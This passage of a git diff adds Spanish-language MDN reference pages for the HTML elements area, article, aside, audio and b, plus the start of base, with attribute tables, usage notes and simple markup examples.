+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-character">carácter</a> o letra.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/interact/forms.html#adef-tabindex"><span style="color: green;">tabindex </span></a></td>
+   <td>Asigna un número de posición en el orden de tabulación.</td>
+   <td>Un número entre 0 y 32767.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onfocus, onblur.</code></td>
+  </tr>
+  <tr>
+   <th colspan="4">De transición</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">target </code></td>
+   <td>Indica el <a class="external" href="http://html.conclase.net/w3c/html401-es/present/frames.html#h-16.1">marco</a> en el que se cargará el recurso.</td>
+   <td>Puede ser el nombre de un marco existente, o un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-frame-target">nombre reservado</a></td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+   <th>por omisión</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h3>
+
+<div class="highlight">
+<h4 id="Un_mapa_de_im.C3.A1genes_dividido_en_dos" name="Un_mapa_de_im.C3.A1genes_dividido_en_dos">Un mapa de imágenes dividido en dos</h4>
+
+<pre class="eval"><span class="nowiki">
+ &lt;object data="http://developer.mozilla.org/wiki-images/es/3/39/Firefoxlogo.png"
+         usemap="#map1" type="image/png"
+         width="135" height="155"&gt;
+
+   &lt;map name="map1"&gt;
+     &lt;area href="http://www.mozilla.com/firefox/"
+       alt="El navegador"
+       shape="rect"
+       coords="0,0,60,155"&gt;
+
+     &lt;area href="http://www.mozilla.com/thunderbird/"
+       alt="El gestor de correo"
+       shape="rect"
+       coords="75,0,135,155"&gt;
+   &lt;/map&gt;
+ &lt;/object&gt;
+ </span>
+</pre>
+</div>
+
+<h3 id="Soporte" name="Soporte">Soporte</h3>
+
+<p>Puede consultar esta <a class="external" href="http://www.webdevout.net/browser_support_html.php#support-html401-area">comparativa</a>: IE6 vs IE7 vs FF1.5 vs OP9.</p>
+
+<h3 id="Estilo_predeterminado" name="Estilo_predeterminado">Estilo predeterminado</h3>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<ul>
+ <li><strong>area</strong> es un elemento antiguo con el que pueden hacerse mapas simples y poco accesibles. No se recomienda su uso, es preferible diseñar los mapas con elementos en bloque y <a href="es/HTML/Elemento/a">anclas</a>.</li>
+</ul>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>Los mapas de imágenes y el elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/objects.html#h-13.6"><strong>area</strong> en la especificación</a> de html 4.01</li>
+</ul>
+
+<p> </p>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga defectos y carencias. ¡Estamos en obras! Disculpen las molestias.</p>
+
+<p>¿Quieres participar en su ampliación? Para saber como hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p><br>
+ <span class="comment">Categoría</span></p>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/article/index.html b/files/es/web/html/elemento/article/index.html
new file mode 100644
index 0000000000..8df680ad6b
--- /dev/null
+++ b/files/es/web/html/elemento/article/index.html
@@ -0,0 +1,60 @@
+---
+title: article
+slug: Web/HTML/Elemento/article
+translation_of: Web/HTML/Element/article
+---
+<p>El <em>Elemento article de HTML</em> <span style="font-family: Courier New;">(&lt;article&gt;)</span> representa una composición auto-contenida en un documento, página, una aplicación o en el sitio, que se destina a distribuir de forma independiente o reutilizable, por ejemplo, en la indicación. Podría ser un mensaje en un foro, un artículo de una revista o un periódico, una entrada de blog, un comentario de un usuario, un widget interactivo o gadget, o cualquier otro elemento independiente del contenido.</p>
+
+<div class="note">
+<p><em>Notas de uso: </em></p>
+
+<ul>
+ <li>Cuando los elementos <code>&lt;article&gt;</code> están anidados, los internos representan artículos relacionados con el exterior. Por ejemplo, los comentarios de un blog pueden ser elementos <code>&lt;article&gt;</code> anidados al que representa la entrada del blog.</li>
+ <li>Los datos del autor de un elemento <code>&lt;article&gt;</code> pueden ser proporcionados a través del elemento {{ HTMLElement ("address") }}, pero no se aplica a los elementos <code>&lt;article&gt;</code> anidados.</li>
+ <li>La fecha de publicación y el tiempo de un elemento <code>&lt;article&gt;</code> pueden ser descritos con el atributo {{ htmlattrxref ("pubdate", "time") }} atributo de un elemento {{ HTMLElement("time") }}.</li>
+</ul>
+</div>
+
+<h3 id="Contexto_de_uso">Contexto de uso</h3>
+
+<table class="fullwidth-table" style="height: 117px; width: 1125px;">
+ <tbody>
+  <tr>
+   <td>Contenido permitido</td>
+   <td><a title="es / RSS / módulo / categorías de contenido de flujo de contenido #">Contenido dinámico</a></td>
+  </tr>
+  <tr>
+   <td>Omisión de etiquetas</td>
+   <td>Ninguna, tanto la etiqueta inicial como la etiqueta de cierre son obligatorias</td>
+  </tr>
+  <tr>
+   <td>Elementos padres permitidos</td>
+   <td>
+    <p>Cualquier elemento que acepte <a title="https: / / developer.mozilla.org / es / HTML / Content_categories flow_content #">el contenido dinámico</a> . Tenga en cuenta que un elemento <code>&lt;article&gt;</code> no debe ser un descendiente de un elemento {{ HTMLElement ("address") }}.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Documento normativo</td>
+   <td><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/sections.html#the-article-element" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/sections.html # el-artículo-elemento">HTML 5, sección 4.4.4</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Atributos">Atributos</h3>
+
+<p>Este elemento no tiene atributos que no sean los atributos globales, comunes a todos los elementos.</p>
+
+<div id="section_3">
+<div id="section_3">
+<h3 class="editable" id="Interfaz_DOM">Interfaz DOM</h3>
+
+<p>Este elemento implementa la interfaz HTMLElement.</p>
+
+<h3 id="Consulta_también">Consulta también</h3>
+
+<ul>
+ <li>Otros elementos relacionados con secciones: {{ HTMLElement("body") }}, {{ HTMLElement("nav") }}, {{ HTMLElement("section") }}, {{ HTMLElement("aside") }}, {{ HTMLElement("h1") }}, {{ HTMLElement("h2") }}, {{ HTMLElement("h3") }}, {{ HTMLElement("h4") }}, {{ HTMLElement("h5") }}, {{ HTMLElement("h6") }}, {{ HTMLElement("hgroup") }}, {{ HTMLElement("header") }}, {{ HTMLElement("footer") }}, {{ HTMLElement("address") }}</li>
+ <li class="last"><a class="deki-ns current" href="/en/Sections_and_Outlines_of_an_HTML5_document" title="en/Sections and Outlines of an HTML5 document">Sections and outlines of an HTML5 document</a>.</li>
+</ul>
+</div>
+</div>
diff --git a/files/es/web/html/elemento/aside/index.html b/files/es/web/html/elemento/aside/index.html
new file mode 100644
index 0000000000..1032e47e9c
--- /dev/null
+++ b/files/es/web/html/elemento/aside/index.html
@@ -0,0 +1,68 @@
+---
+title: aside
+slug: Web/HTML/Elemento/aside
+tags:
+  - HTML
+  - HTML5
+  - 'HTML:Elemento'
+  - 'HTML:Referencia_de_elementos'
+  - para_revisar
+translation_of: Web/HTML/Element/aside
+---
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-3"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">El <strong>elemento HTML <code>&lt;aside&gt;</code></strong> representa una sección de una página que consiste en contenido que está indirectamente relacionado con el contenido principal del documento.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-4"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Estas secciones son a menudo representadas como barras laterales o como inserciones y contienen una explicación al margen como una definición de glosario, elementos relacionados indirectamente, como publicidad, la biografía del autor, o en aplicaciones web, la información de perfil o enlaces a blogs relacionados.</span></span></p>
+
+<div class="note">
+<p><em><span class="goog-gtc-unit" id="goog-gtc-unit-5"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Notas de uso:</span></span></em></p>
+
+<ul>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-6"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">No utilices el elemento <code>&lt;aside&gt;</code> para etiquetar texto entre paréntesis, ya que este tipo de texto se considera parte del flujo principal.</span></span></li>
+</ul>
+</div>
+
+<h3 id="Contexto_de_uso"><span class="goog-gtc-unit" id="goog-gtc-unit-7"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Contexto de uso</span></span></h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-8"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Contenido permitido</span></span></td>
+   <td><a href="/en/HTML/Content_categories#flow_content" title="en/HTML/Content categories#flow content"><span class="goog-gtc-unit" id="goog-gtc-unit-9"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Contenido dinámico</span></span></a></td>
+  </tr>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-10"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Omisión de etiquetas</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-11"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-ph-missing goog-gtc-translatable" dir="ltr">Ninguna, tanto la etiqueta inicial y la etiqueta de cierre son obligatorias</span></span></td>
+  </tr>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-12"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Elementos primarios permitidos</span></span></td>
+   <td>
+    <p><span class="goog-gtc-unit" id="goog-gtc-unit-13"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-97 goog-gtc-ph-missing goog-gtc-translatable" dir="ltr">Cualquier elemento que acepte contenido dinámico.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-14"><span class="goog-gtc-from-human goog-gtc-ph-missing goog-gtc-translatable" dir="ltr">Ten en cuenta que un elemento &lt;aside&gt; no debe ser un descendiente de un elemento {{ HTMLElement ("address") }}.</span></span></p>
+   </td>
+  </tr>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-15"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Documento normativo</span></span></td>
+   <td><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/sections.html#the-aside-element" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/sections.html#the-aside-element"><span class="goog-gtc-unit" id="goog-gtc-unit-16"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">HTML 5, sección 4.4.5</span></span></a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Atributos"><span class="goog-gtc-unit" id="goog-gtc-unit-17"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Atributos</span></span></h3>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-18"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-ph-missing goog-gtc-translatable" dir="ltr">Este elemento no tiene atributos que no sean los <a href="/en/HTML/Global_attributes" title="../../../../en/HTML/global attributes">atributos globales</a>, comunes a todos los elementos.</span></span></p>
+
+<div id="section_3">
+<div id="section_3">
+<h3 class="editable" id="Interfaz_DOM"><span class="goog-gtc-unit" id="goog-gtc-unit-19"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Interfaz DOM</span></span></h3>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-20"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-ph-missing goog-gtc-translatable" dir="ltr">Este elemento implementa la interfaz </span></span><code><a href="/en/DOM/element" title="en/DOM/element">HTMLElement</a></code><span class="goog-gtc-unit" id="goog-gtc-unit-20"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-ph-missing goog-gtc-translatable" dir="ltr">.</span></span></p>
+
+<h3 id="Consulta_también"><span class="goog-gtc-unit" id="goog-gtc-unit-21"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Consulta también</span></span></h3>
+
+<ul>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-22"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Otros elementos relacionados con esta sección: {{ HTMLElement("body") }}, {{ HTMLElement("article") }}, {{ HTMLElement("section") }}, {{ HTMLElement("nav") }}, {{ HTMLElement("h1") }}, {{ HTMLElement("h2") }}, {{ HTMLElement("h3") }}, {{ HTMLElement("h4") }}, {{ HTMLElement("h5") }}, {{ HTMLElement("h6") }}, {{ HTMLElement("hgroup") }}, {{ HTMLElement("header") }}, {{ HTMLElement("footer") }}, {{ HTMLElement("address") }};</span></span></li>
+ <li class="last"><span class="goog-gtc-unit" id="goog-gtc-unit-23"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr"><a class="deki-ns current" href="/en/Sections_and_Outlines_of_an_HTML5_document" title="en/Sections and Outlines of an HTML5 document">Secciones y líneas generales de un documento HTML 5</a> .</span></span></li>
+</ul>
+</div>
+</div>
+
+<p> </p>
+
+<p>{{ languages ( { "en": "en/HTML/Element/aside","es":"es/docs/HTML/Elemento/aside" } ) }}</p>
diff --git a/files/es/web/html/elemento/audio/index.html b/files/es/web/html/elemento/audio/index.html
new file mode 100644
index 0000000000..02c621f421
--- /dev/null
+++ b/files/es/web/html/elemento/audio/index.html
@@ -0,0 +1,105 @@
+---
+title: Audio
+slug: Web/HTML/Elemento/audio
+translation_of: Web/HTML/Element/audio
+---
+<p>El elemento <code>audio</code> se usa para insertar contenido de audio en un documento HTML o XHTML. El elemento <code>audio</code> se agregó como parte de HTML 5.</p>
+
+<div class="note"><strong>Nota:</strong> actualmente Gecko admite solamente Vorbis, en contenedores Ogg, así como formato WAV. Asimismo, el servidor debe servir el archivo mediante el tipo MIME correcto con el fin de que Gecko lo reproduzca correctamente.</div>
+
+<p>Puedes usar las características API de audio mejoradas - que son específicas de Gecko - para generar y manipular directamente secuencias de audio a partir de código JavaScript. Consulta <a href="/en/Manipulating_audio_using_the_enhanced_audio_API" title="en/Manipulating audio using the enhanced audio API">Manipular sonido a través de la API de audio mejorada</a> para tener más detalles.</p>
+
+<h2 id="Contexto_de_uso">Contexto de uso</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Contenido permitido</td>
+   <td><a href="/en/HTML/Content_categories#transparent_content" title="en/HTML/Content categories#transparent content">Contenido transparente</a>, que contiene bien un atributo<strong> src</strong>, bien uno o más elementos {{ HTMLElement("source") }}, seguido de <a href="/en/HTML/Content_categories#flow_content" title="en/HTML/Content categories#flow content">contenido dinámico</a> o <a href="/en/HTML/Content_categories#phrasing_content" title="en/HTML/Content categories#phrasing content">contenido estático</a> , sin ningún elemento de {{ HTMLElement("video") }} o <code>&lt;audio&gt;</code>.</td>
+  </tr>
+  <tr>
+   <td>Omisión de etiquetas</td>
+   <td>Ninguna, deben estar presentes tanto las etiquetas de inicio como las de cierre.</td>
+  </tr>
+  <tr>
+   <td>Elementos primarios permitidos</td>
+   <td>Cualquier elemento que acepte <a href="../../../../en/HTML/Content_categories#flow_content" rel="internal">contenido dinámico</a> o cualquier elemento que acepte <a href="../../../../en/HTML/Content_categories#phrasing_content" rel="internal">contenido estático</a>.</td>
+  </tr>
+  <tr>
+   <td>Documento normativo</td>
+   <td><a class="external" href="http://www.w3.org/TR/html5/video.html#audio" title="http://www.w3.org/TR/html5/video.html#audio">HTML5, sección 4.8.7</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<dl>
+ <dt>autoplay</dt>
+ <dd>Un atributo booleano; si se especifica (incluso aunque el valor sea "false"), el sonido comenzará a reproducirse automáticamente en cuanto sea posible, sin detenerse para terminar de cargar los datos.</dd>
+ <dt>autobuffer {{ obsolete_inline("2.0") }}</dt>
+ <dd>Un atributo booleano; si se especifica, el sonido comenzará a reproducirse automáticamente, incluso aunque no se haya configurado para la reproducción automática. Esto continuará hasta que la caché de medios esté llena o se haya descargado el archivo de audio completo, lo que suceda primero. Debería usarse sólo si se espera que el usuario elija reproducir el audio; por ejemplo si el usuario ha navegado hasta una página usando un vínculo de "Reproducir este audio". Este atributo se eliminó de Gecko 2.0 {{ geckoRelease("2.0") }} en favor del atributo preload.</dd>
+ <dt><a name="attr-buffered">buffered</a> {{ gecko_minversion_inline("2.0") }}</dt>
+ <dd>Un atributo que se puede leer para determinar qué intervalos de tiempo del multimedia se han almacenado en búfer. Este atributo contiene un objeto {{ domxref("TimeRanges") }}.</dd>
+ <dt>controls</dt>
+ <dd>Si está presente este atributo, el navegador ofrecerá controles para permitir que el usuario controle la reproducción de audio, incluyendo volumen, búsqueda y pausar/reanudar reproducción.</dd>
+ <dt>loop {{ unimplemented_inline() }} {{ bug(449157) }}</dt>
+ <dd>Un atributo booleano; si se especifica, al alcanzar el final del audio, realizaremos la búsqueda automáticamente hasta el principio.</dd>
+ <dt>mozCurrentSampleOffset {{ gecko_minversion_inline("2.0") }} {{ non-standard_inline() }}</dt>
+ <dd>La posición de desplazamiento, que se especifica como el número de muestras desde el comienzo de la secuencia de audio, en la cual el audio se está reproduciendo actualmente.</dd>
+ <dt><a name="attr-preload">preload</a> {{ gecko_minversion_inline("2.0") }} {{ bug(548523) }}</dt>
+ <dd>El objetivo de este atributo enumerado es proporcionar una sugerencia al navegador sobre qué cree el autor que proporcionará la mejor experiencia para el usuario . Puede tener uno de los siguientes valores:
+ <ul>
+  <li><span style="font-family: Courier New;">none: </span>sugiere bien que el autor cree que el usuario no tendrá que consultar ese video, bien que el servidor desea minimizar su tráfico; es decir, esta sugerencia indica que no se debe almacenar en caché este video;</li>
+  <li><span style="font-family: Courier New;">metadata</span>: sugiere que aunque el autor piensa que el usuario no tendrá que consultar ese video, es razonable capturar los metadatos (p. ej. longitud);</li>
+  <li><span style="font-family: Courier New;">auto</span>: sugiere que el usuario necesita tener prioridad; es decir, esta sugerencia indica que, si es necesario, se puede descargar el video completo, incluso aunque el usuario no vaya a usarlo;</li>
+  <li>the <em>empty string</em>: que es sinónimo del valor <span style="font-family: Courier New;">auto</span>.</li>
+ </ul>
+
+ <p>Si no está configurado, su valor predeterminado está definido por el navegador (es decir, cada navegador puede elegir su propio valor predeterminado), aunque la especificación aconseje que se establezca a <span style="font-family: Courier New;">metadatos</span>.</p>
+
+ <div class="note"><strong>Observaciones sobre uso:</strong>
+
+ <ul>
+  <li>El atributo <strong>autoplay </strong> tiene prioridad sobre éste puesto que si se desea reproducir automáticamente un video, el navegador obviamente tendrá que descargarlo. La especificación permite establecer los atributos<strong> autoplay</strong> y <strong>preload</strong>.</li>
+  <li>La especificación no fuerza al navegador a seguir el valor de este atributo; es tan sólo una sugerencia.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>src</dt>
+ <dd>La URL del audio que se va a insertar. Está sujeta a los <a class="internal" href="/En/HTTP_access_control" title="En/HTTP access control">Controles de acceso HTTP</a>. Es opcional; en su lugar puedes usar el elemento <a class="internal" href="/en/HTML/Element/Source" title="En/HTML/Element/Source"><code>source</code></a> dentro del bloque de audio para especificar el audio que se va a insertar.</dd>
+</dl>
+
+<p>Las compensaciones de tiempo se especifican como valores float que indican el número de segundos que se va a compensar.</p>
+
+<div class="note"><strong>Nota:</strong> la definición del valor de compensación de tiempo no se ha completado en HTML 5 aún y está sujeta a cambios.</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html">&lt;audio src="http://developer.mozilla.org/@api/deki/files/2926/=AudioTest_(1).ogg"
+       autoplay&gt;
+  Your browser does not support the &lt;code&gt;audio&lt;/code&gt; element.
+&lt;/audio&gt;
+</pre>
+
+<p>Reproduce el fichero de audio adjunto a este artículo.</p>
+
+<h2 id="Interfaz_DOM">Interfaz DOM</h2>
+
+<ul>
+ <li><a href="/en/DOM/HTMLAudioElement" title="en/DOM/HTMLAudioElement">HTMLAudioElement</a></li>
+</ul>
+
+<h2 id="Consulta_también">Consulta también</h2>
+
+<ul>
+ <li><a href="/es/Formatos_multimedia_admitidos_por_los_elementos_de_video_y_audio" title="es/Formatos multimedia admitidos por los elementos de video y audio"><u>Formatos multimedia admitidos por los elementos de audio y video</u></a></li>
+ <li><a href="/en/Manipulating_audio_using_the_enhanced_audio_API" title="en/Manipulating audio using the enhanced audio API">Manipulating audio using the enhanced audio API</a></li>
+ <li><a href="/en/DOM/HTMLAudioElement" title="en/DOM/HTMLAudioElement"><code>HTMLAudioElement</code></a></li>
+ <li><a class="internal" href="/En/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement" title="En/NsIDOMHTMLMediaElement"><code>nsIDOMHTMLMediaElement</code></a></li>
+ <li><a class="internal" href="/en/HTML/Element/Video" title="En/HTML/Element/Video"><code>video</code></a></li>
+ <li><a class="internal" href="/es/Using_audio_and_video_in_Firefox" title="Es/Usar audio y video en Firefox">Usar audio y video en Firefox</a></li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#audio" title="http://www.whatwg.org/specs/web-apps/current-work/#audio">The <code>audio</code> element</a> (HTML 5 specification)</li>
+</ul>
+
+<p>{{ languages( { "en": "en/HTML/Element/Audio" , "fr": "fr/HTML/Element/audio" } ) }}</p>
diff --git a/files/es/web/html/elemento/b/index.html b/files/es/web/html/elemento/b/index.html
new file mode 100644
index 0000000000..e4281a9296
--- /dev/null
+++ b/files/es/web/html/elemento/b/index.html
@@ -0,0 +1,168 @@
+---
+title: b
+slug: Web/HTML/Elemento/b
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/b
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p><strong>b</strong> de bold=negrita.</p>
+
+<p>Indica que el texto debe ser representado con una variable <strong>bold</strong>, o <strong>negrita,</strong><strong> </strong>de la tipografía que se esté usando.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: <code>&lt;b&gt;</code> y <code>&lt;/b&gt;</code> (Ambas obligatorias).</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: en línea.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: Elemento <a href="es/HTML/Elemento/Tipos_de_elementos#de_estilo_de_fuente">de estilo de fuente</a> y por lo tanto <a href="es/HTML/Elemento/Tipos_de_elementos#en_l.C3.ADnea">en línea</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: Texto y/o cero o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#en_l.C3.ADnea">en línea</a>.</dd>
+</dl>
+
+<h5 id="Atributos" name="Atributos">Atributos</h5>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+   <th>por omisión</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-title"><span style="color: green;">title </span></a></td>
+   <td>Texto informativo o título del elemento. Suele mostrarse a modo de "tool tip".</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#h-6.3">Texto legible</a>. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr>.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-id"><span style="color: green;">id </span></a></td>
+   <td>Le da un nombre al elemento que lo diferencia de todos los demás del documento.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-id">nombre único</a>. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr></td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-class"><span style="color: green;">class </span></a></td>
+   <td>Asigna nombres de clases al elemento. Por defecto, clases CSS.</td>
+   <td>Lista de clases separadas por espacio en blanco. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-cdata">cdata</a></td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html#adef-style"><span style="color: green;">style </span></a></td>
+   <td>Permite especificar <a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html">información de estilo</a>. Por defecto, estilos CSS.</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-style">Declaraciones de estilo</a>.</td>
+   <td>Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-lang"><span style="color: green;">lang </span></a></td>
+   <td>Información sobre el <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">idioma del contenido</a> del elemento y del valor de sus atributos.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-langcode">código de idioma</a>.</td>
+   <td>Lo fija el navegador. <abbr title="Por defecto">PD.</abbr>: "desconocido".</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">dir </span></a></td>
+   <td>Indica la <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">dirección de texto</a> y tablas.</td>
+   <td>Uno de los siguientes: <abbr title="Left-to-right"> 'ltr' </abbr> o <abbr title="Right-to-left"> 'rtl'. </abbr></td>
+   <td>Lo fija el navegador. <abbr title="Por defecto">PD.</abbr>: En castellano 'ltr'.</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup. </code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="4">De transición</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+   <th>por omisión</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h3>
+
+<div class="highlight">
+<h4 id="Palabras_pesadas" name="Palabras_pesadas">Palabras pesadas</h4>
+
+<pre class="eval">&lt;p&gt;
+       Texto normal y... &lt;b&gt;Texto en negrita&lt;/b&gt;
+&lt;/p&gt;
+</pre>
+
+<p><br>
+ Se visualiza así:</p>
+
+<div style="border: solid silver 1px;">
+<p style="font-family: ,serif; font-size: larger;">Texto normal y... <strong>Texto en negrita</strong></p>
+</div>
+</div>
+
+<h3 id="Soporte" name="Soporte">Soporte</h3>
+
+<p>Puede consultar esta <a class="external" href="http://www.webdevout.net/browser_support_html.php#support-html401-b">comparativa</a>: IE6 vs IE7 vs FF1.5 vs OP9.</p>
+
+<h3 id="Estilo_predeterminado" name="Estilo_predeterminado">Estilo predeterminado</h3>
+
+<p>El inherente a su condición: <strong>negrita.</strong> Prueba el siguiente ejemplo:</p>
+
+<pre class="eval"><span class="nowiki">
+ &lt;style&gt;
+        span { font-weight: bolder; }
+ &lt;/style&gt;
+
+ &lt;p&gt; Esto es:  &lt;b&gt; un elemento b &lt;/b&gt; y esto es: &lt;span&gt;un span con estilo&lt;/span&gt;  &lt;/p&gt;
+ </span>
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<ul>
+ <li>El <a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html">W3C</a> (y nosotros) desaconseja el uso de este elemento, para manejar el estilo del texto es mejor usar <a href="es/CSS">CSS</a>.</li>
+</ul>
+
+<p> </p>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/present/graphics.html#edef-B"><strong>b</strong> en la especificación</a> de html 4.01</li>
+</ul>
+
+<p> </p>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber cómo hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p><br>
+ <span class="comment">Categoría</span></p>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/base/index.html b/files/es/web/html/elemento/base/index.html
new file mode 100644
index 0000000000..4912e33f0b
--- /dev/null
+++ b/files/es/web/html/elemento/base/index.html
@@ -0,0 +1,158 @@
+---
+title: <base>
+slug: Web/HTML/Elemento/base
+tags:
+  - Elemento
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/base
+---
+<p id="Summary">{{HTMLRef}}</p>
+
